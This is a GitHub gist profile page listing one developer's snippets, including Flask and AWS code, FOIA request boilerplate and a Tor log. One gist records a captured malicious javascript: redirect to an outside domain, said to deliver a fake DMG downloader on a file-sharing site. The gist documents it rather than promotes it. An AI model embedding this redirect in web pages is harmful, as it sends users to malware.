Skip to content

Instantly share code, notes, and snippets.

View Miserlou's full-sized avatar

Rich Jones Miserlou

View GitHub Profile
@Miserlou
Miserlou / flask_binary.py
Created February 17, 2017 19:07
Flask serving binary data example
import io
from flask import Flask, send_file
app = Flask(__name__)
@app.route('/logo.jpg')
def logo():
"""Serves the logo image."""
with open("logo.jpg", 'rb') as bites:
# Start with our base settings
from .settings import *
# Copy our working DB to /tmp..
from shutil import copyfile
src = os.path.join(BASE_DIR, 'db.sqlite3')
dst = "/tmp/db.sqlite3"
copyfile(src, dst)
# ..and use it!
@Miserlou
Miserlou / Executive Order 13526 Copypasta.txt
Created February 7, 2017 21:18
Executive Order 13526 Copypasta
In the event that the contents of any of the requested documents are classified under Executive Order 13526, I also make the following additional requests:
Pursuant to section 1.2 of Executive Order 13526, I am requesting the level of classification of this information and its existence/nonexistence.
Pursuant to section 1.3 of Executive Order 13526, I am requesting the specific authority which classified this information.
Pursuant to section 1.4 of Executive Order 13526, I am requesting the specific classification categories of this information, as well as an identification or description of the damage to national security which the disclosure of this information would produce.
Pursuant to section 1.5 of Executive Order 13526, I am requesting the specific duration of time for which this classification will stand.
@Miserlou
Miserlou / gist:749ff87f03d4a7fee03a4b4730904347
Created February 3, 2017 06:02
ZippyShare Malware Downloader
Opens a fake DMG downloader, injected into the title bar and executed:
javascript:window.opener=null;setTimeout(function(){window.location.href='http://onderlea.info/ajNYbEVVFSwFIVcFal1zXwV+HiAODmlKJAhHZV5jHA5pQndfHWlCd0xGZV8jXgJrCHVfATtddlkKOgkjWQI+VXZfBG1YJlJSYVtzTFUrUXRMWj5RdUxANVFxWxUzUT8DQygVNgJSKglgWAMqCSQGFmpcIRhGNR9jGFY+US0eRyhJdisWaipgWHUvGzJbAHYWLBpDIR8tC0E9QiYFXn1eAxwWaipzH2cSDQApfH1eAwxaNAlrAkc1AGMJR2VZYwlHO1FxTEAsH3hbFTcfN1cVKB4rVwN+'},250)
@Miserlou
Miserlou / ustel.html
Created January 29, 2017 02:00
Validating a US (or international) phone number with Parsley and libphonenumber-js
<!-- requirements -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/parsley.js/2.6.2/parsley.min.js"></script>
<script src="https://halt-hammerzeit.github.io/libphonenumber-js/libphonenumber-js.min.js"></script>
<!-- custom validator -->
<script type="text/javascript">
$(document).ready(function() {
window.Parsley.addValidator('ustel', {
requirementType: 'string',
validateString: function(value) {
Dear New Yorker Staff,
There is an egregious factual error in Robin Wright's Dec 12, 2016 article, After the Islamic State which I would like to see addressed and corrected.
The problematic line is:
"Adnani finally emerged in August, after Syrian rebels drove the Islamic State out of Manbij, a small city that was a hub for its foreign fighters and a supply route to Turkey."
ISIS was defeated not by the "Syrian rebels," a common way to refer to the Free Syrian Army, but rather by the Manbij Military Council, a military force largely comprised of the multi-ethnic Syrian Democratic Forces and the Kurdish People's Protection Units (YPG/YPJ), backed by US Special Operations Forces.
Sep 19 17:08:50.000 [info] routerlist_remove_old_routers: We have 0 live routers and 0 old router descriptors.
Sep 19 17:08:51.000 [info] connection_handle_listener_read: New SOCKS connection opened from 127.0.0.1.
Sep 19 17:08:51.000 [info] connection_edge_process_inbuf: data from edge while in 'waiting for circuit' state. Leaving it on buffer.
Sep 19 17:08:51.000 [info] exit circ (length 3): $E36536404200A74930DB165858BD5BB554D2BEA2(open) $2AF1F03CA502A23D554EB61C6649C531674C9627(open) $B0279A521375F3CB2AE210BDBFC645FDD2E1973A(open)
Sep 19 17:08:51.000 [info] pathbias_count_use_attempt: Used circuit 10 is already in path state use succeeded. Circuit is a General-purpose client currently open.
Sep 19 17:08:51.000 [info] link_apconn_to_circ: Looks like completed circuit to $B0279A521375F3CB2AE210BDBFC645FDD2E1973A~chulak at 176.126.252.11 doesn't allow optimistic data for connection to 80.103.150.216
Sep 19 17:08:51.000 [info] connection_ap_handshake_send_begin: Sending relay cell 0 on circ 2633584204 to begi
from PIL import Image
import boto3
s3_client = boto3.client('s3')
def thumbnailer(event, context):
bucket = event['Records']['s3']['bucket']['name']
key = event['Records']['s3']['object']['key']
image_bytes = s3_client.download_file(bucket, key, '/tmp/' + key).read()
@Miserlou
Miserlou / upload.html
Created March 28, 2016 20:14
Upload Template
<!doctype html>
<head>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<title>Upload new File</title>
</head>
<body>
<div class="container">
<h1>Upload new File</h1>
@Miserlou
Miserlou / apigw_purge.py
Created March 25, 2016 19:26
API Gateway Selective Purger
import boto3
client = boto3.client('apigateway')
response = client.get_rest_apis(
limit=50
)
for api in response['items']:
input = raw_input("Delete " + api['name'] + " (" + api['description'] + ") [" + api['id'] + "]? " )